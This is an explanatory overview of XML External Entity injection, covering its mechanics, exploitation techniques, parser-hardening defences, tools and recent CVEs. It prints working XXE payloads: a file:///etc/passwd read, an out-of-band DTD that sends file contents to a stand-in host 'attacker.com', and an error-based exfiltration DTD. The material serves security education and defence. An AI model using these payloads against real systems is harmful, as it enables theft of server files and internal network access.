Problem Framing

XML External Entity (XXE) injection remains a potent and persistent threat in application security, capable of leading to sensitive data disclosure, server-side request forgery (SSRF), denial-of-service (DoS) conditions, and in some cases, remote code execution (RCE). Despite being a known vulnerability for over a decade and a consistent feature on the OWASP Top 10 ^[1][2][3], misconfigurations and legacy systems continue to expose organizations to this attack vector ^[1]. The core of the problem lies in how XML parsers, by default or through insecure configuration, process external entity declarations within XML documents ^[2][3]. These external entities can reference local files, remote URLs, or even execute code, making them a prime target for attackers when not properly handled.

The prevalence of XML in various application components, including web services (SOAP, REST), file uploads (DOCX, XLSX, SVG), configuration files, and data interchange formats, ensures a broad attack surface ^[1][4][5]. Even modern applications can be vulnerable if they utilize XML processing libraries with insecure default settings or if developers inadvertently enable dangerous features ^[1][4]. The inherent complexity of XML, coupled with the dynamic nature of software development and the reuse of libraries, means that XXE vulnerabilities can lurk in unexpected places, often missed by automated scanning tools that do not specifically probe for them ^[2][6].

Core Mechanics

At its heart, XXE injection exploits the XML parser's ability to dereference external entities declared within a Document Type Definition (DTD). An XML document can specify a DTD, either internally within the document itself or by referencing an external file. Within a DTD, entities are defined that act as shortcuts or placeholders. External entities, in particular, can be declared with a SYSTEM identifier that points to a URI ^{[2][3][7][8][9]}.

When an XML parser encounters an entity reference, it replaces the reference with the content specified in the entity declaration. If the SYSTEM identifier points to a local file (e.g., file:///etc/passwd), and external entity resolution is enabled, the parser will attempt to read that file's content and substitute it into the XML document. This content is then often processed or returned by the application, leading to information disclosure ^{[1][2][3][4][9]}.

A basic XXE payload demonstrates this principle:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [   <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo> 

When such an XML document is processed by a vulnerable application, the parser resolves &xxe; by fetching the content of /etc/passwd. If the application then includes this resolved entity’s content in its response, the attacker gains access to the file ^[1][2][3][9].

Beyond simple file disclosure, XXE can be used for:

• Server-Side Request Forgery (SSRF): By referencing URLs in the SYSTEM identifier, attackers can force the vulnerable server to make requests to internal or external resources, allowing network reconnaissance, interaction with internal services, or access to cloud metadata endpoints ^{[1][10][3][4][11][8][9]}.
• Denial of Service (DoS): Attacks like the "Billion Laughs" exploit utilize recursive entity expansion to consume excessive memory and CPU, potentially crashing the application or server ^[1][12][3].
• Remote Code Execution (RCE): In specific configurations, particularly with certain language wrappers like PHP's expect:// or with vulnerable deserialization chains, XXE can be leveraged to execute arbitrary commands on the server ^{[13][14][15][3][16]}.

The core issue is the XML parser's configuration. Secure defaults are increasingly common, but explicit enabling of features like DTD loading and external entity resolution, or the use of older libraries, remains a common pitfall ^[1][4][17].

Notable Techniques

The flexibility and varied attack vectors of XXE make it a compelling vulnerability for security researchers. Several techniques have been developed to exploit XXE, particularly when direct data exfiltration in the response is blocked.

Out-of-Band (OOB) Exfiltration

When an application processes XML but does not directly reflect the results of external entity resolution in its response, OOB techniques become crucial ^{[18][19][20][21][22][23][24]}. The attacker’s goal is to trigger an interaction with a server they control. This is typically achieved by defining an external entity that points to a URL on the attacker's server.

A common OOB method involves hosting a malicious DTD on an attacker-controlled server. The XXE payload then references this external DTD. Within the DTD, parameter entities are used to construct a URL that includes the sensitive data (e.g., file content) and sends it to the attacker’s server via an HTTP or FTP request ^{[18][20][21][22][23][8]}.

A typical malicious DTD to exfiltrate /etc/passwd would look like this:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfiltrate; 

This DTD would be referenced by the main XML payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">   %xxe; ]> <foo>&xxe;</foo> 

The attacker then monitors their server for incoming requests containing the file's contents ^{[18][21][22][23][8]}.

Blind XXE via Error Messages

Another technique for blind XXE involves exploiting XML parsing errors to reveal sensitive data. This method is effective when OOB interactions are blocked but the application returns error messages that can be manipulated to include data from local files ^[22][25]. The attacker crafts a DTD that attempts to access a non-existent resource, where the path to this resource includes the sensitive data. When the parser fails to find the resource, the error message might include the data, effectively exfiltrating it ^[22].

A DTD for error-based exfiltration:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; 

When this DTD is invoked, and the parser tries to access /nonexistent/root:x:0:0:root:/root:/bin/bash, the resulting error message would contain the sensitive data ^[22].

File Upload Vector Exploitation

XXE can be triggered through file upload functionalities, especially for formats that are XML-based or contain XML components. This includes:

• Office Open XML (OOXML) formats: XLSX, DOCX, PPTX files are essentially ZIP archives containing XML files. By modifying internal XML files (e.g., xl/workbook.xml in XLSX) within a crafted document, an attacker can inject XXE payloads ^{[26][27][28][29][30]}. Tools like oxml_xxe and Docem facilitate this process by automating the modification of these files ^[29][30].
• Scalable Vector Graphics (SVG): SVG files are XML-based and can be used to embed XXE payloads, which may be processed by image rendering or validation components ^[1][4][7].
• PDFs with XFA Forms: Crafted PDF files containing malicious XML Forms Architecture (XFA) data can trigger XXE in parsers like Apache Tika ^[31][32].

The key is that the application must parse the uploaded file's content server-side.

Protocol Handling and Wrappers

XML parsers can utilize various protocols beyond file://. Exploiting handlers like gopher://, ftp://, ldap://, and jar:// can reveal different attack surfaces or bypass restrictions ^{[23][33][34][35]}. For instance, the jar:// protocol can be used to read files within JAR archives ^[34][24].

PHP's stream wrappers, such as php://filter, are invaluable for bypassing input filters and encoding sensitive data (e.g., Base64) to prevent it from breaking XML structure or triggering security mechanisms ^{[14][15][16][8]}.

Local DTD Discovery

In scenarios where external DTDs are blocked, attackers can leverage local DTDs that might be present on the server's filesystem. By identifying a local DTD that defines an entity that is subsequently referenced, an attacker can craft an XXE payload to redefine that entity, effectively injecting their malicious logic and achieving file disclosure or other impacts ^[24][25]. Tools exist to help discover these potentially exploitable local DTDs within containerized environments ^[24].

Detection and Prevention

Preventing XXE vulnerabilities fundamentally relies on securing the XML parsing process. The most robust approach is to completely disable the processing of external entities and DTDs.

Disabling External Entities and DTDs

Most modern XML parsers offer configuration options to disable these features. The OWASP XXE Prevention Cheat Sheet provides detailed guidance for various languages and parsers ^[17][3].

• Java: For DocumentBuilderFactory, SAXParserFactory, and DOM4J, disabling DTDs is crucial. Features like disallow-doctype-decl and disabling external general/parameter entities are key. The FEATURE_SECURE_PROCESSING flag can also be beneficial ^[17].

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);     dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);     dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);     dbf.setXIncludeAware(false); // Also disable XInclude     

• PHP: When using libxml, disabling DTDs and external entities via libxml_disable_entity_loader(true) is essential ^[17].

Input Validation and Sanitization

While not a primary defense against XXE, robust input validation can help by rejecting XML documents that contain DOCTYPE declarations or suspicious entity references before they reach the parser ^[36][37]. However, this approach can be bypassed by attackers using various encoding or evasion techniques ^[14][15].

Web Application Firewalls (WAFs)

WAFs can provide a layer of defense by detecting and blocking common XXE patterns, such as DOCTYPE declarations and SYSTEM identifiers, in incoming requests ^[26][12][36]. However, WAFs can often be bypassed through encoding or by targeting less obvious XML processing points ^[26][24].

Dependency Management

Keeping XML parsing libraries and related dependencies updated is critical, as newer versions often include more secure defaults or patches for known XXE vulnerabilities ^{[31][32][38][39]}.

Secure Development Practices

Developers should be educated on the risks of XXE and follow secure coding practices, avoiding the parsing of untrusted XML with default settings ^[1][3][17].

Tooling

A variety of tools assist in identifying and exploiting XXE vulnerabilities:

• Burp Suite: Intercepting proxy capabilities and extensions like "HackBar" can aid in manual testing and payload insertion ^[40]. Burp Collaborator is invaluable for detecting blind XXE via OOB interactions ^[18][41][22].
• XXEinjector: A Node.js tool for automating file exfiltration using direct and OOB methods, supporting various protocols and PHP filters ^[42][35].
• Docem: A Python-based tool for embedding XXE and XSS payloads into Office Open XML (OXML) documents like DOCX, XLSX, and PPTX ^[29][43][30].
• oXML_XXE: Another tool for embedding XXE exploits into OXML file formats ^[30].
• XXElixir: A tool specifically designed for testing XXE via XLSX file upload poisoning ^[44].
• Nuclei: A fast and configurable vulnerability scanner that can be used with specific templates to detect XXE vulnerabilities ^[45][7].
• GH-DTD-Finder: A tool to discover local DTDs with injectable entities within a system's filesystem ^[24].
• XXE-study: A GitHub repository potentially containing resources or scripts for studying XXE ^[46].

Recent Developments

XXE remains an active area of vulnerability research and discovery. Recent CVEs highlight its continued relevance:

• CVE-2025-66516 (Apache Tika): A critical XXE vulnerability in Apache Tika, particularly when processing PDFs with XFA forms, allowing data theft, SSRF, and RCE ^[31][32]. The vulnerability was a patch miss, initially only addressing a subset of affected modules ^[32].
• CVE-2025-30220 (GeoServer): An XXE vulnerability in GeoServer's Web Feature Service (WFS) due to insecure handling of XML schemas in the GeoTools library, enabling OOB data exfiltration and SSRF ^[47][38].
• CVE-2025-27136 (LocalS3): An XXE injection flaw in LocalS3's CreateBucketConfiguration endpoint allowed file access ^[48].
• CVE-2025-49493 (Akamai CloudTest): An XXE vulnerability affecting multiple SOAP endpoints, discovered using an error-based approach and OOB testing ^[49].
• CVE-2025-13096 (IBM Business Automation Workflow): An XXE vulnerability allowing sensitive information disclosure and potential memory consumption ^[50].
• CVE-2025-54254 (Adobe Experience Manager Forms): An XXE vulnerability enabling arbitrary file system reads, with exploitation not requiring user interaction ^[39].
• CVE-2025-11035 (Jinher OA): An XXE injection flaw in the ManageWord.aspx endpoint allowing data exfiltration and SSRF ^[36].

The continued discovery of XXE in enterprise-level software from major vendors underscores the persistent challenge of securely configuring XML parsers and managing dependencies ^{[13][31][50][49][39]}.

Where to Go Deeper

For a comprehensive understanding of XXE, practitioners should consult:

• OWASP XXE Prevention Cheat Sheet: An authoritative resource for detailed mitigation strategies across various programming languages and parsers ^[17].
• PortSwigger Web Security Academy: Offers detailed explanations and hands-on labs for XXE exploitation, including blind XXE techniques ^[51][22][9].
• Research Blogs and Write-ups: Numerous security researchers share in-depth analyses of XXE vulnerabilities, attack techniques, and tool demonstrations. Key authors and resources include those cited in the sources, such as those from infosecwriteups.com, zsec.uk, netacoding.com, medium.com (various authors), and github.com repositories.
• GoSecure XXE Workshop: A resource that provides practical, hands-on experience with XXE exploitation techniques ^[34].
• Bug Bounty Platform Write-ups: Many successful XXE bug bounty reports provide practical insights into finding and exploiting these vulnerabilities in real-world applications ^[52][6][53].